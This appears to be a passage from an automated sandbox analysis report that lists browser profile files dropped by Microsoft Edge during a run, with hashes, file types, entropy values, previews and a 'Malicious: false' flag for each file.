Preview:	SNSS.......i@.\|...........i@.\|......"i@.\|...........i@.\|.......i@.\|.......j@.\|.......j@.\|....!..j@.\|...............................i@.\|j@.\|1..,...j@.\|$...ba374767_8bfa_4aa6_9dc0_bd4641abaa2d...i@.\|.......j@.\|....O..........i@.\|...i@.\|.......................i@.\|....................5..0...i@.\|&...{46F3A197-DB49-410A-81B3-94975C835573}.....i@.\|..........i@.\|.......................j@.\|...........j@.\|........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x...........)......).................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.130339373814148
Encrypted:	false
SSDEEP:	6:7OPHN9+q2PN723oH+Tcwt7Uh2ghZIFUt8OOPHNJZmw+OOPouD9VkwON723oH+Tcz:7OPuvVaYebIhHh2FUt8OOP3/+OOPouXy
MD5:	7ED9A31ED7F6EDF7D2AD08DE90E400A1
SHA1:	87041557C0CC5F220D8F0EA19238DCB0F4DE6F31
SHA-256:	DAD04EF71A409845A8501EA2E9841EB3E5E46AA892AFFCB13CFDAB3FF67319B0
SHA-512:	62FC3058ADDFA9C7B1AE9C6206E5DD5D293883D6DDB71764ED2D364B7BBACF52308A3F06CC802518C27C5D33D36C63568E66D34EDC52FCD671EB7F1C1B4014D1
Malicious:	false
Preview:	2024/12/19-10:11:06.056 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/19-10:11:06.056 1d88 Recovering log #3.2024/12/19-10:11:06.063 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.130339373814148
Encrypted:	false
SSDEEP:	6:7OPHN9+q2PN723oH+Tcwt7Uh2ghZIFUt8OOPHNJZmw+OOPouD9VkwON723oH+Tcz:7OPuvVaYebIhHh2FUt8OOP3/+OOPouXy
MD5:	7ED9A31ED7F6EDF7D2AD08DE90E400A1
SHA1:	87041557C0CC5F220D8F0EA19238DCB0F4DE6F31
SHA-256:	DAD04EF71A409845A8501EA2E9841EB3E5E46AA892AFFCB13CFDAB3FF67319B0
SHA-512:	62FC3058ADDFA9C7B1AE9C6206E5DD5D293883D6DDB71764ED2D364B7BBACF52308A3F06CC802518C27C5D33D36C63568E66D34EDC52FCD671EB7F1C1B4014D1
Malicious:	false
Preview:	2024/12/19-10:11:06.056 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/19-10:11:06.056 1d88 Recovering log #3.2024/12/19-10:11:06.063 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.21364081534712
Encrypted:	false
SSDEEP:	12:7OPXvVaYebvqBQFUt8OOPjN/+OOPI25OaYebvqBvJ:7OHVaYebvZg8OOLBOxOaYebvk
MD5:	E8E33B62044DE6DAA4CB80B465FA96D5
SHA1:	7B4C89340161488416454DF5413F2F86E8559EC8
SHA-256:	4F89FD4E7F7C956BE978D14BF0426CD6B2A07CE170B3F31036A63ECEEE517BE1
SHA-512:	A1605CDE42D5E6767081BC066EB81A90A56A5D5FD9FA08DE0F1DAC808697054697EFFB0D86FF4C4A88B91355B5E8A2A2A556E545CDAF1061962DE95B83F93F47
Malicious:	false
Preview:	2024/12/19-10:11:06.974 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/19-10:11:06.975 1d24 Recovering log #3.2024/12/19-10:11:07.026 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.21364081534712
Encrypted:	false
SSDEEP:	12:7OPXvVaYebvqBQFUt8OOPjN/+OOPI25OaYebvqBvJ:7OHVaYebvZg8OOLBOxOaYebvk
MD5:	E8E33B62044DE6DAA4CB80B465FA96D5
SHA1:	7B4C89340161488416454DF5413F2F86E8559EC8
SHA-256:	4F89FD4E7F7C956BE978D14BF0426CD6B2A07CE170B3F31036A63ECEEE517BE1
SHA-512:	A1605CDE42D5E6767081BC066EB81A90A56A5D5FD9FA08DE0F1DAC808697054697EFFB0D86FF4C4A88B91355B5E8A2A2A556E545CDAF1061962DE95B83F93F47
Malicious:	false
Preview:	2024/12/19-10:11:06.974 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/19-10:11:06.975 1d24 Recovering log #3.2024/12/19-10:11:07.026 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3caad990-11fa-48b5-b99e-929e0a59a02e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e61a7d47-478f-48da-adf7-5a71c10a0c83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.203368169399246
Encrypted:	false
SSDEEP:	12:7OFvVaYebvqBZFUt8OOh49/+OOWQ5OaYebvqBaJ:7OJVaYebvyg8OO2xOnOaYebvL
MD5:	A6911FEC2A009B52F8B95D729C0DFA3F
SHA1:	F17DF4AE914F836A780B13945C00FE0E1DABD853
SHA-256:	3CB09D5DFA241E73F696836066A9FC9273A6EFC69FCF5F9B8D6ECD4ACB8F58B2
SHA-512:	4A3D5C71B89AE4309CACFC8A8A833CAE9F696CA6B39291E84548538905AAB5F1FB462D684BD6965037FA439E6AC58A002810CD0E0F64D911B4D5C4C7EA7D7F0A
Malicious:	false
Preview:	2024/12/19-10:11:23.896 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/19-10:11:23.898 1d24 Recovering log #3.2024/12/19-10:11:23.901 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.203368169399246
Encrypted:	false
SSDEEP:	12:7OFvVaYebvqBZFUt8OOh49/+OOWQ5OaYebvqBaJ:7OJVaYebvyg8OO2xOnOaYebvL
MD5:	A6911FEC2A009B52F8B95D729C0DFA3F
SHA1:	F17DF4AE914F836A780B13945C00FE0E1DABD853
SHA-256:	3CB09D5DFA241E73F696836066A9FC9273A6EFC69FCF5F9B8D6ECD4ACB8F58B2
SHA-512:	4A3D5C71B89AE4309CACFC8A8A833CAE9F696CA6B39291E84548538905AAB5F1FB462D684BD6965037FA439E6AC58A002810CD0E0F64D911B4D5C4C7EA7D7F0A
Malicious:	false
Preview:	2024/12/19-10:11:23.896 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/19-10:11:23.898 1d24 Recovering log #3.2024/12/19-10:11:23.901 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.139685452230087
Encrypted:	false
SSDEEP:	6:7OPuQq2PN723oH+TcwtpIFUt8OOPI0Zmw+OOPr0kwON723oH+Tcwta/WLJ:7OPHvVaYebmFUt8OOPP/+OOPo5OaYeb7
MD5:	C5A7BF79689A38503A44865D83382816
SHA1:	C59D187AC86830174D6104BF1077DF1F19977C82
SHA-256:	E6F40FE4C08E841335F289C85B166E7DE3BD27FC29FBB34EDEF5C4E66FF0BF70
SHA-512:	75EFCE6DDCB65073D18E6105584242B1D6415F0A5A8A9D7E1C635863455E0FD2838A2BD929B80CAC8A777DD4656F849D9D8AEA355130F9FFD68B60666C4636BF
Malicious:	false
Preview:	2024/12/19-10:11:06.065 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/19-10:11:06.066 1da4 Recovering log #3.2024/12/19-10:11:06.113 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.139685452230087
Encrypted:	false
SSDEEP:	6:7OPuQq2PN723oH+TcwtpIFUt8OOPI0Zmw+OOPr0kwON723oH+Tcwta/WLJ:7OPHvVaYebmFUt8OOPP/+OOPo5OaYeb7
MD5:	C5A7BF79689A38503A44865D83382816
SHA1:	C59D187AC86830174D6104BF1077DF1F19977C82
SHA-256:	E6F40FE4C08E841335F289C85B166E7DE3BD27FC29FBB34EDEF5C4E66FF0BF70
SHA-512:	75EFCE6DDCB65073D18E6105584242B1D6415F0A5A8A9D7E1C635863455E0FD2838A2BD929B80CAC8A777DD4656F849D9D8AEA355130F9FFD68B60666C4636BF
Malicious:	false
Preview:	2024/12/19-10:11:06.065 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/19-10:11:06.066 1da4 Recovering log #3.2024/12/19-10:11:06.113 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2673723211955163
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMPSA1LyKOMq+8iP5GDHP/0jMVum7:Kq+n0JP91LyKOMq+8iP5GLP/0+
MD5:	FC4D0CCDA9BD965160492D00D9612C92
SHA1:	924DFE0D788CD2A8FC02582C605188AB4B0177B4
SHA-256:	5C2264F2EE76C1F825A308989F1CD56C62FAA97EA7604D3DB8BC7D0DF9B81FA7
SHA-512:	D96BFA262350F2297FBDCC0C34C9213A5222F2E0D482F93F1DE9B2857076D7C840026EEBC2B56BFBFE18EAADF3F78FCE2C9A160915913F7661ED3B93340E3B9F
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4662070265258906
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBB81S:v7doKsKuKZKlZNmu46yjxr
MD5:	7D403C0437143AFB1F6C3B2EE562257B
SHA1:	5F75050E8D330B7CBC717158FD238353D25DFAC5
SHA-256:	8F6E778824DC3B6AB1117348CF9990454BDAE99406F1CDE7E05CD09E2A5536F2
SHA-512:	3B84812316FE7560E01468E34A44F8B15441B1D086C540B4A1FC84D075D9588AC6AC4A38A9CB7C96E0E47B2F4135477FABC7BD81383C62DEBEA151B065C3C9B6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	0.13567788402162456
Encrypted:	false
SSDEEP:	3:Al9Nllv/etXlfJtZe/M1qvTv4RRfs21d7jdtQfQZR2RtZe/JXtXlfJtZen:AlMlhtgqpRS+dndPR2Rtgjlhtgn
MD5:	5733697298573C78928863AB13406593
SHA1:	DE05ECC8CD521453E001B9A8B33E98B1F5E28089
SHA-256:	8B7276DC8BED6461D6432A56900ADE449D549C0347972F5F90AE521D1FACAB1F
SHA-512:	682614E968FC54D9CE841063B523616063486E861717633302A54E438BCF3D797F7E7A222A1F9D6B80489BDA1AFB3038CEE9F0EFC794E8C2D7110EDDE3AE099F
Malicious:	false
Preview:	.............F.{........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ab99d2bb-ac78-4ff5-b8b5-4678d99ed579.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\af22ad7a-50ba-44e8-b7fa-3a6df24938f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9703
Entropy (8bit):	5.10689117713811
Encrypted:	false
SSDEEP:	192:stkkdpNsuZZGaFvrE9kPZw18wbV+FmMQAqUpPRYJ:stkQNsIZGCDkbG9QQA
MD5:	206A6C09081CBB50052FF13B9196EDFE
SHA1:	43D32DC91CA3A203EBB03D028A66C03786F77EE7
SHA-256:	61C7822672EBF7182950CEC91B469BF5B70B991D8373FDE6E7DAFF265B11C6AC
SHA-512:	FCE13B73E87020B3A0BF1FC32E78ABD6B10C9DCF089C2E3A58F141232210BDB6C045AAAB06FB6276B74E2B3DE8A909F5E81C009D21A28807AD1C0D6BDFD0E394
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379094666780898","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File
